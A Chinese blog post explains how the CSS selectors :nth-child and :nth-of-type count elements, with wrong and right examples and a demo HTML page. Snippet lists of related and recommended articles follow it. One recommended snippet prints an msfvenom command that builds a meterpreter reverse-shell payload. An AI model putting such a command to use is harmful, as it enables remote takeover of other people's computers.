结构伪类

从使用结构伪类的选择器开始 往上一层父辈开始筛选

从使用结构伪类的选择器开始 往上一层父辈开始筛选

从使用结构伪类的选择器开始 往上一层父辈开始筛选

不是从左往右选择 不是先父辈后筛选子类

从使用结构伪类的选择器开始 往上一层父辈开始筛选

依次选中第1个 第2个 第3个 div

1.前两组 表明 从使用结构伪类的选择器开始 往上一层父辈开始筛选 非先父辈后筛选子类

.f_row1 div:nth-child(1) { background-color: pink; } 错误原因: 先辈筛选子类 ; 整体选择器 选中的是 一整组div; .f_row1 div:nth-child(2) 在dom中不存在这样的结构

.f_row2 li:nth-child(1) div { background-color: #005971; } 正确原因: li在第一层父辈div存在5组 然后计数 依次选中

整体选中第1个P标签 第2个P标签

2.后两组 表明 nth-child是任何儿子辈分都计数1 :nth-of-typ是 结构伪类选择器前的 选择器选中的那种 计数1 【注意 一定是整体可以被匹配到才计数】

.f_row3 p:nth-child(1) { background-color: pink; } 错误原因: 根本不在这样的dom结构

.f_row4 p:nth-of-type(1) { background-color: #005971; } 正确原因: 1. 使用了 正确的结构伪类:nth-of-type 2. 整体能被匹配

点击查看代码 
<!DOCTYPE html>

<html lang="en">

<head>

  <meta charset="UTF-8">

  <meta name="viewport" content="width=device-width, initial-scale=1.0">

  <title>Document</title>

  <style>

    div[class^="f_row"] li {

      float: left;

      margin: 10px;

    }

    div[class^="f_row"] {

      overflow: hidden;

      margin: 20px auto;

    }

    ul,

    li {

      margin: 0;

      padding: 0;

      list-style: none;

    }

    .c {

      width: 800px;

      margin: 20px auto;

    }

  /* -----------------依次选中第1个 第2个 第3个div--------------------------- */

    /* 错误 .f_row1 div:nth-child(1) 有效 和 .f_row1 div:nth-child(2) 未匹配任何 */

    .f_row1 div:nth-child(1) {

      background-color: pink;

    }

    .f_row1 div:nth-child(2) {

      background-color: pink;

    }

    /* 正确 */

    .f_row2 li:nth-child(1) div {

      background-color: #005971;

    }

    .f_row2 li:nth-child(2) div{

      background-color: #005971;

    }

    .f_row2 li:nth-child(3) div{

      background-color: #005971;

    }

 /* -----------------依次选中第1个 第2个 p--------------------------- */

    /* 错误 nth-child(1)没有选中 nth-child(2)选中1 */

    .f_row3 p:nth-child(1) {

      background-color: pink;

    }

    .f_row3 p:nth-child(2) {

      background-color: pink;

    }

    /* 正确 */

    .f_row4 p:nth-of-type(1) {

      background-color: #005971;

    }

    .f_row4 p:nth-of-type(2) {

      background-color: #005971;

    }

  </style>

</head>

<body>

  <div class="c">

    <div class="f_row1">

      <ul>

        <li>

          <div>1</div>

          <p>正品保障</p>

          <p>正品保障，提供发票</p>

        </li>

        <li>

          <div>2</div>

          <p>极速物流</p>

          <p>急速物流，急速送达</p>

        </li>

        <li>

          <div>3</div>

          <p>无优售后</p>

          <p>7天无理由退换货</p>

        </li>

        <li>

          <div>3</div>

          <p>特色服务</p>

          <p>私人定制家电套餐</p>

        </li>

        <li>

          <div>4</div>

          <p>帮助中心</p>

          <p>您的购物指南</p>

        </li>

      </ul>

    </div>

    <div class="f_row2 clearfix">

      <ul>

        <li>

          <div>1</div>

          <p>正品保障</p>

          <p>正品保障，提供发票</p>

        </li>

        <li>

          <div>2</div>

          <p>极速物流</p>

          <p>急速物流，急速送达</p>

        </li>

        <li>

          <div>3</div>

          <p>无优售后</p>

          <p>7天无理由退换货</p>

        </li>

        <li>

          <div>4</div>

          <p>特色服务</p>

          <p>私人定制家电套餐</p>

        </li>

        <li>

          <div>5</div>

          <p>帮助中心</p>

          <p>您的购物指南</p>

        </li>

      </ul>

    </div>

    <div class="f_row3 clearfix">

      <ul>

        <li>

          <div>1</div>

          <p>正品保障</p>

          <p>正品保障，提供发票</p>

        </li>

        <li>

          <div>2</div>

          <p>极速物流</p>

          <p>急速物流，急速送达</p>

        </li>

        <li>

          <div>3</div>

          <p>无优售后</p>

          <p>7天无理由退换货</p>

        </li>

        <li>

          <div>4</div>

          <p>特色服务</p>

          <p>私人定制家电套餐</p>

        </li>

        <li>

          <div>5</div>

          <p>帮助中心</p>

          <p>您的购物指南</p>

        </li>

      </ul>

    </div>

    <div class="f_row4 clearfix">

      <ul>

        <li>

          <div>1</div>

          <p>正品保障</p>

          <p>正品保障，提供发票</p>

        </li>

        <li>

          <div>2</div>

          <p>极速物流</p>

          <p>急速物流，急速送达</p>

        </li>

        <li>

          <div>3</div>

          <p>无优售后</p>

          <p>7天无理由退换货</p>

        </li>

        <li>

          <div>4</div>

          <p>特色服务</p>

          <p>私人定制家电套餐</p>

        </li>

        <li>

          <div>5</div>

          <p>帮助中心</p>

          <p>您的购物指南</p>

        </li>

      </ul>

    </div>

  </div>

</body>

</html>

一文搞懂 结构伪类 :nth-child && :nth-of-typ的更多相关文章

  1. 彻底搞懂CSS伪类选择器：is、not

    本文介绍一下Css伪类:is和:not,并解释一下is.not.matches.any之前的关系 :not The :not() CSS pseudo-class represents element ...

  2. 一文搞懂所有Java集合面试题

    Java集合 刚刚经历过秋招,看了大量的面经,顺便将常见的Java集合常考知识点总结了一下,并根据被问到的频率大致做了一个标注.一颗星表示知识点需要了解,被问到的频率不高,面试时起码能说个差不多.两颗 ...

  3. 一文搞懂Flink Window机制

    Windows是处理无线数据流的核心,它将流分割成有限大小的桶(buckets),并在其上执行各种计算. 窗口化的Flink程序的结构通常如下,有分组流(keyed streams)和无分组流(non ...

  4. 一文搞懂RAM、ROM、SDRAM、DRAM、DDR、flash等存储介质

    一文搞懂RAM.ROM.SDRAM.DRAM.DDR.flash等存储介质 存储介质基本分类:ROM和RAM RAM:随机访问存储器(Random Access Memory),易失性.是与CPU直接 ...

  5. 基础篇|一文搞懂RNN（循环神经网络）

    基础篇|一文搞懂RNN(循环神经网络) https://mp.weixin.qq.com/s/va1gmavl2ZESgnM7biORQg 神经网络基础 神经网络可以当做是能够拟合任意函数的黑盒子,只 ...

  6. Web端即时通讯基础知识补课：一文搞懂跨域的所有问题！

    本文原作者: Wizey,作者博客:http://wenshixin.gitee.io,即时通讯网收录时有改动,感谢原作者的无私分享. 1.引言 典型的Web端即时通讯技术应用场景,主要有以下两种形式 ...

  7. CSS3新增（选择器{属性选择器，结构伪类选择器，伪元素选择器}）

    1.属性选择器 属性选择器,可以根据元素特定的属性来选择元素,这样就不用借助 类 或者 id选择器. E [ att ]   选择具有 att 属性的 E 元素   例如:input [ value ...

  8. 三文搞懂学会Docker容器技术（中）

    接着上面一篇:三文搞懂学会Docker容器技术(上) 6,Docker容器 6.1 创建并启动容器 docker run [OPTIONS] IMAGE [COMMAND] [ARG...] --na ...

  9. 一文搞懂如何使用Node.js进行TCP网络通信

    摘要: 网络是通信互联的基础,Node.js提供了net.http.dgram等模块,分别用来实现TCP.HTTP.UDP的通信,本文主要对使用Node.js的TCP通信部份进行实践记录. 本文分享自 ...

  10. 一文搞懂指标采集利器 Telegraf

    作者| 姜闻名 来源|尔达 Erda 公众号 ​ 导读:为了让大家更好的了解 MSP 中 APM 系统的设计实现,我们决定编写一个<详聊微服务观测>系列文章,深入 APM 系统的产品.架构 ...

随机推荐

  1. Metasploit会话连接不稳定问题排查

    使用msfvenom生成木马,语句如下: msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=43.154.xxx.xxx lport=4455 ...

  2. pydotplus使用

    pydotplus是别的语言嫁接到python里面的,所以绘制要传入字符串形式表示的结构,而没有python的结构对象直接用来画.代码如下: import pydotplus as pdp graph ...

  3. .NET周刊【11月第4期 2024-11-24】

    国内文章 C# 入门深度学习:万字长文讲解微积分和梯度下降 https://www.cnblogs.com/whuanle/p/18551532 这篇文章主要介绍了使用 C# 进行深度学习的方法,特别 ...

  4. 华为云云日志服务 HarmonyOS NEXT采集最佳实践

    鸿蒙背景介绍 华为鸿蒙HarmonyOS系统是面向万物互联的全场景分布式操作系统,支持手机.平板.智能穿戴.智慧屏等多种终端设备运行,提供应用开发.设备开发的一站式服务的平台.2024 年 1 月 1 ...

  5. 教你自创工作流，赋予AI助理个性化推荐超能力

    之前,我们已经完成了工作流的基本流程和整体框架设计,接下来的任务就是进入实际操作和实现阶段.如果有同学对工作流的整体结构还不够熟悉,可以先参考一下这篇文章,帮助你更好地理解和掌握工作流的各个部分: 本 ...

  6. QPixmap 线程 奔溃

    使用QImage替代QPixmap. ·QImage与Qpixmap的区别 1.QPixmap主要是用于绘图,针对屏幕显示而最佳化设计,QImage主要是为图像I/O.图片访问和像素修改而设计的 2. ...

  7. qemu/kvm

    <domain type="kvm"> <name>win7</name> <uuid>e31c1621-b3c3-42ed-be3 ...

  8. 《Kubernetes故障篇：calico/node is not ready: BIRD is not ready》

    文章目录一.背景信息二.解决方法总结:整理不易,如果对你有帮助,可否点赞关注一下? 一.背景信息k8s集群部署后发现calico的pod未通过健康检查,如下所示: 通过命令kubectl descri ...

  9. Eureka 缓存机制详细配置

    https://blog.csdn.net/qwe86314/article/details/94963865 上节为大家介绍了 Eureka 的工作原理,其中提到了 Eureka Server 内部 ...

  10. Datawhale 2025冬令营“嬛嬛，我来啦！”😘

    Datawhale2025冬令营 Datawhale 2025 AI冬令营链接:https://www.datawhale.cn/activity/110/21/76?rankingPage=1 赠送 ...